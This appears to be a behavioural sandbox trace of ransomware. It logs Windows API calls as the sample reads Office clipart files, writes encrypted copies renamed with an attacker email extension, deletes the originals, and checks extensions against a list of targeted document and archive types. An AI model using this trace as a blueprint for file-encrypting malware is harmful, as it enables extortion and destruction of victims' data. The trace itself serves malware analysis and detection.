	[0162.978] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x1214, lpOverlapped=0x0) returned 1
	[0162.980] WriteFile (in: hFile=0x530, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x1220, lpOverlapped=0x0) returned 1
	[0162.981] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.981] WriteFile (in: hFile=0x530, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.981] SetEndOfFile (hFile=0x530) returned 1
	[0162.981] CloseHandle (hObject=0x530) returned 1
	[0162.981] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.981] SetEndOfFile (hFile=0x504) returned 1
	[0162.984] CloseHandle (hObject=0x504) returned 1
	[0162.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0162.984] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 1
	[0162.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0162.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0162.985] lstrlenW (lpString=".doc") returned 4
	[0162.985] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.985] lstrlenW (lpString=".docx") returned 5
	[0162.985] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0162.985] lstrlenW (lpString=".pdf") returned 4
	[0162.985] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.985] lstrlenW (lpString=".xls") returned 4
	[0162.985] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.985] lstrlenW (lpString=".xlsx") returned 5
	[0162.985] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0162.985] lstrlenW (lpString=".ppt") returned 4
	[0162.985] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0162.985] lstrlenW (lpString=".zip") returned 4
	[0162.985] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.985] lstrlenW (lpString=".rar") returned 4
	[0162.985] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.985] lstrlenW (lpString=".bz2") returned 4
	[0162.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.985] lstrlenW (lpString=".7z") returned 3
	[0162.985] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0162.985] lstrlenW (lpString=".dbf") returned 4
	[0162.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0162.985] lstrlenW (lpString=".1cd") returned 4
	[0162.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0162.986] lstrlenW (lpString=".jpg") returned 4
	[0162.986] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0162.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0162.986] lstrlenW (lpString=".doc") returned 4
	[0162.986] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.986] lstrlenW (lpString=".docx") returned 5
	[0162.986] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0162.986] lstrlenW (lpString=".pdf") returned 4
	[0162.986] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.986] lstrlenW (lpString=".xls") returned 4
	[0162.986] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.986] lstrlenW (lpString=".xlsx") returned 5
	[0162.986] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0162.986] lstrlenW (lpString=".ppt") returned 4
	[0162.986] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0162.986] lstrlenW (lpString=".zip") returned 4
	[0162.986] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.986] lstrlenW (lpString=".rar") returned 4
	[0162.986] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.986] lstrlenW (lpString=".bz2") returned 4
	[0162.986] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.986] lstrlenW (lpString=".7z") returned 3
	[0162.986] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0162.986] lstrlenW (lpString=".dbf") returned 4
	[0162.986] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0162.986] lstrlenW (lpString=".1cd") returned 4
	[0162.986] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68
	[0162.986] lstrlenW (lpString=".jpg") returned 4
	[0162.986] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.987] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0162.987] lstrlenW (lpString="J0105266.WMF") returned 12
	[0162.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0163.336] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=5908) returned 1
	[0163.336] CloseHandle (hObject=0x508) returned 1
	[0163.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 0x220
	[0163.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0163.543] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.543] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0163.650] GetLastError () returned 0x0
	[0163.650] ReadFile (in: hFile=0x544, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x1714, lpOverlapped=0x0) returned 1
	[0163.662] WriteFile (in: hFile=0x43c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x1720, lpOverlapped=0x0) returned 1
	[0163.663] ReadFile (in: hFile=0x544, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.663] WriteFile (in: hFile=0x43c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.663] SetEndOfFile (hFile=0x43c) returned 1
	[0163.663] CloseHandle (hObject=0x43c) returned 1
	[0163.663] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.663] SetEndOfFile (hFile=0x544) returned 1
	[0163.666] CloseHandle (hObject=0x544) returned 1
	[0163.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0163.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105266.wmf")) returned 1
	[0163.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0163.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0163.667] lstrlenW (lpString=".doc") returned 4
	[0163.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.667] lstrlenW (lpString=".docx") returned 5
	[0163.667] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0163.667] lstrlenW (lpString=".pdf") returned 4
	[0163.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.667] lstrlenW (lpString=".xls") returned 4
	[0163.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.667] lstrlenW (lpString=".xlsx") returned 5
	[0163.668] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0163.668] lstrlenW (lpString=".ppt") returned 4
	[0163.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0163.668] lstrlenW (lpString=".zip") returned 4
	[0163.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.668] lstrlenW (lpString=".rar") returned 4
	[0163.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.668] lstrlenW (lpString=".bz2") returned 4
	[0163.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.668] lstrlenW (lpString=".7z") returned 3
	[0163.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0163.668] lstrlenW (lpString=".dbf") returned 4
	[0163.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0163.668] lstrlenW (lpString=".1cd") returned 4
	[0163.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0163.668] lstrlenW (lpString=".jpg") returned 4
	[0163.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0163.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0163.668] lstrlenW (lpString=".doc") returned 4
	[0163.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.668] lstrlenW (lpString=".docx") returned 5
	[0163.668] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0163.668] lstrlenW (lpString=".pdf") returned 4
	[0163.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.668] lstrlenW (lpString=".xls") returned 4
	[0163.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.668] lstrlenW (lpString=".xlsx") returned 5
	[0163.668] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0163.668] lstrlenW (lpString=".ppt") returned 4
	[0163.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0163.669] lstrlenW (lpString=".zip") returned 4
	[0163.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.669] lstrlenW (lpString=".rar") returned 4
	[0163.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.669] lstrlenW (lpString=".bz2") returned 4
	[0163.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.669] lstrlenW (lpString=".7z") returned 3
	[0163.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0163.669] lstrlenW (lpString=".dbf") returned 4
	[0163.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0163.669] lstrlenW (lpString=".1cd") returned 4
	[0163.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68
	[0163.669] lstrlenW (lpString=".jpg") returned 4
	[0163.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.669] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0163.669] lstrlenW (lpString="J0105320.WMF") returned 12
	[0163.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0163.670] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=2020) returned 1
	[0163.670] CloseHandle (hObject=0x544) returned 1
	[0163.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 0x220
	[0163.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0163.670] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.670] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0163.671] GetLastError () returned 0x0
	[0163.671] ReadFile (in: hFile=0x544, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x7e4, lpOverlapped=0x0) returned 1
	[0163.672] WriteFile (in: hFile=0x43c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x7f0, lpOverlapped=0x0) returned 1
	[0163.673] ReadFile (in: hFile=0x544, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.673] WriteFile (in: hFile=0x43c, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.673] SetEndOfFile (hFile=0x43c) returned 1
	[0163.674] CloseHandle (hObject=0x43c) returned 1
	[0163.674] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.674] SetEndOfFile (hFile=0x544) returned 1
	[0163.676] CloseHandle (hObject=0x544) returned 1
	[0163.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0163.676] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 1
	[0163.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0163.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0163.677] lstrlenW (lpString=".doc") returned 4
	[0163.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.677] lstrlenW (lpString=".docx") returned 5
	[0163.677] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0163.677] lstrlenW (lpString=".pdf") returned 4
	[0163.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.677] lstrlenW (lpString=".xls") returned 4
	[0163.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.677] lstrlenW (lpString=".xlsx") returned 5
	[0163.677] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0163.677] lstrlenW (lpString=".ppt") returned 4
	[0163.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0163.677] lstrlenW (lpString=".zip") returned 4
	[0163.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.677] lstrlenW (lpString=".rar") returned 4
	[0163.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.677] lstrlenW (lpString=".bz2") returned 4
	[0163.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.677] lstrlenW (lpString=".7z") returned 3
	[0163.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0163.678] lstrlenW (lpString=".dbf") returned 4
	[0163.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0163.678] lstrlenW (lpString=".1cd") returned 4
	[0163.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0163.678] lstrlenW (lpString=".jpg") returned 4
	[0163.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0163.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0163.678] lstrlenW (lpString=".doc") returned 4
	[0163.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.678] lstrlenW (lpString=".docx") returned 5
	[0163.678] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0163.678] lstrlenW (lpString=".pdf") returned 4
	[0163.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.678] lstrlenW (lpString=".xls") returned 4
	[0163.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.678] lstrlenW (lpString=".xlsx") returned 5
	[0163.678] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0163.678] lstrlenW (lpString=".ppt") returned 4
	[0163.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0163.678] lstrlenW (lpString=".zip") returned 4
	[0163.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.678] lstrlenW (lpString=".rar") returned 4
	[0163.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.678] lstrlenW (lpString=".bz2") returned 4
	[0163.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.678] lstrlenW (lpString=".7z") returned 3
	[0163.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0163.678] lstrlenW (lpString=".dbf") returned 4
	[0163.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0163.679] lstrlenW (lpString=".1cd") returned 4
	[0163.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68
	[0163.679] lstrlenW (lpString=".jpg") returned 4
	[0163.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.679] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0163.679] lstrlenW (lpString="J0105328.WMF") returned 12
	[0163.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0163.679] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=7992) returned 1
	[0163.679] CloseHandle (hObject=0x544) returned 1
	[0163.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 0x220
	[0163.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0163.680] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.680] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0163.681] GetLastError () returned 0x0
